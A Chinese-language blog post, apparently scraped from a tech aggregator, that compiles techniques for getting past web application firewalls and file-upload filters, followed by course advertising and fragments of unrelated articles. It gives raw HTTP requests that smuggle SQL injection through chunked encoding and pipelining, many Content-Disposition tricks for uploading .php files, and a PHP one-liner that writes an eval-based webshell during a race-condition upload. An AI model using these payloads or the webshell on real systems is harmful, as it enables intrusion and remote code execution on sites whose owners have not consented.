news 2026/5/14 23:13:24

全网整理 WAF 绕过合集,网安小白必收藏

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
全网整理 WAF 绕过合集,网安小白必收藏

目录

一、WAFWAFWAF绕过

1、脏数据绕过

2、高并发绕过

3、http参数污染

4、数据格式混淆

5、编码绕过

6、利用http协议绕过waf

7、请求方式转换

二、文件上传绕过

1、等号绕过

2、换行绕过

3、填充垃圾字符

4、NTFS ADS特性绕过

5、利用WAF的缺陷

6、双文件上传

7、条件竞争上传

8、特性


一、WAF绕过
1、脏数据绕过

即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。

例如,当发现某网站存在一个反序列化漏洞反序列化漏洞反序列化漏洞时,但是无回显,被waf拦截了

利用脏数据插入5000个x字符,可以成功绕过。

2、高并发绕过

对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了waf的拦截

3、http参数污染

在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。

4、数据格式混淆

利用数据格式解析缺陷,存在两种提交表单数据的请求类型

application/x-www-form-urlencoded

multipart/form-data 支持key-Value方式

可以修改提交格式

这两种方式提交数据的效果是一样的。

当然,除了这种方式外一些其他方式也可能绕过waf,例如将传入json数据,将其修改为HTTP请求,或者修改content-type等方式(当然是在应用能够正常解析的前提下)

5、编码绕过

对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。
例如最常见的url编码,对数据进行二次url编码,waf进行一次解码并不能解析到有效的数据,而后端在进行解码时传入的为有效的恶意数据。

6、利用http协议绕过waf

6.1 分块传输绕过waf

在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。

eg:

……………… Connection: close Upgrade-Insecure-Requests: I ontent-Type: application/x-www-form-urlencoded Content-Length: 50 4 a=1 4 unio 4 n se 5 lect 1 1 0

6.2 畸形包绕过(pipline绕过)

原理:

http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。

点击burp中Repeater,在下拉选项中取消update Content-Length选中。

eg:

POST /sqlinject.php Http/1.0 Host:127001 User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101 Firefox/65.0 Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8 Accept-Language: en-US,en:q=0.5 Referer:http://127.0.0.1/sqlinjectphp?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 4 Connection:keep-alive Upgrade-Insecure-Requests: 1 id=1post/sqlinjeCt.php Http/1.0 Host:127.00.1 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010 Firefox/65.0 Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8 Accept-Language: en-US, en, q=0.5 Referer:http://127.0.0.1/sqlinjectphp?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 12 Connection: close pgrade-Insecure-Requests: 1 d=l and 1=1

然后你会收到两个返回包,不过这种方法有可能被waf给拦截

6.3 协议覆盖

原理:

HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。

将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交,数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。

POST /sQlinJect php Http/1.0 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0 Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8 Accept-Language: en-US, en: q=0.5 Referer:http://127.0.0.1/sqlinject.php?id Content-Type: multipart/form-data; boundary=69 Content-Length: 60 Connection close Upgrade-Insecure-Requests:1

–69
Content-Disposition: form-data; name=“id”

1
–69–

7、请求方式转换

waf 在对危险字符进行检测的时候,分别为 post 请求和 get 或者其它的请求方式设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测

例如:

或者修改为其它允许的方式,例如options, head等提交方式。

二、文件上传绕过
1、等号绕过

在filename后多添加两个等号

2、换行绕过

在文件后缀名处换行

3、填充垃圾字符

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验。

在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

4、NTFS ADS特性绕过

ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。

5、利用WAF的缺陷
6、双文件上传

本意为上传两个或多个文件去突破。上传点支持多文件上传,但是却只对第一个文件做了过滤。

利用方式:

<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐data"> <input name="FileName1" type="FILE" class="tx1" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上传"> </form>

利用时只需要修改action的值为指定上传页面即可

eg:

------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

7、条件竞争上传

一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。

<?php fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>'); ?>
8、特性

多个filename

早期版本安全狗,可以多加一个filename

Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"

最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

交换name和filename的顺序

规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。

Content-Disposition: form-data; filename="xx.php"; name=file_x

去掉引号,双引号变成单引号

Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php Content-Disposition: form-data; name='file_x'; filename='xx.php'

单引号、双引号、不要引号,都能上传。

大小写

对这三个固定的字符串进行大小写转换

去掉或修改Content-Disposition值

有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。

Content-Disposition: name='file_x'; filename='xx.php'

多个boundary

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript

多个分号

文件解析时,可能解析不到文件名,导致绕过。

Content-Disposition: form-data; name="file_x";;; filename="test.php"

Header在boundary前添加任意字符

PHP支持,JAVA报错

Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

filename换行

PHP支持,Java不支持

Content-Disposition: form-data; name="file_x"; file name="test.php"

name和filename添加任意字符串

PHP支持,Java不支持

Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";

POST/GET

有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

黑客/网络安全学习路线

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!

一、2025最新网络安全学习路线

一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享**(安全链接,放心点击)**![](https://i-blog.csdnimg.cn/img_convert/a6502ab41b1a86132b9ebb5aab9a2cdc.jpeg)

我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。

L1级别:网络安全的基础入门

L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

L2级别:网络安全的技术进阶

L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。

L3级别:网络安全的高阶提升

L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。

L4级别:网络安全的项目实战

L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。

二、技术文档和经典PDF书籍

书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)


三、网络安全视频教程

对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

四、网络安全护网行动/CTF比赛

学以致用,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。


五、网络安全工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

面试不仅是技术的较量,更需要充分的准备。

在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。

如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/14 23:09:22

Vue2项目集成DHTMLX Gantt:从基础配置到企业级功能定制

1. 为什么选择DHTMLX Gantt与Vue2集成 在项目管理系统的开发中&#xff0c;甘特图是最核心的视图之一。我调研过市面上几乎所有主流甘特图方案&#xff0c;最终选择DHTMLX Gantt主要基于三个实际考量&#xff1a; 首先&#xff0c;它的渲染性能确实出色。在测试中&#xff0c;加…

作者头像 李华
网站建设 2026/5/14 23:08:03

AI赚钱别再只问“哪个模型最强”:向量引擎、GPT Image 2、deepseek v4、api 和 key,正在把 Agent 变成真正能干活的系统

AI赚钱别再只问“哪个模型最强”&#xff1a;向量引擎、GPT Image 2、deepseek v4、api 和 key&#xff0c;正在把 Agent 变成真正能干活的系统很多人这两年用 AI 的状态&#xff0c;像极了第一次进自助餐厅。 一开始&#xff0c;什么都想拿。 AI 写文章&#xff0c;拿。 AI 画…

作者头像 李华
网站建设 2026/5/14 23:07:58

基于YOLO与PyTorch的零售货架智能分析系统:从原理到部署实战

1. 项目概述&#xff1a;当AI视觉遇上零售货架如果你在零售行业待过&#xff0c;或者自己开过便利店&#xff0c;肯定对“盘货”这件事深恶痛绝。店员拿着纸笔&#xff0c;对着货架一个个数&#xff0c;效率低下不说&#xff0c;还容易出错。供应商的业务代表跑店&#xff0c;也…

作者头像 李华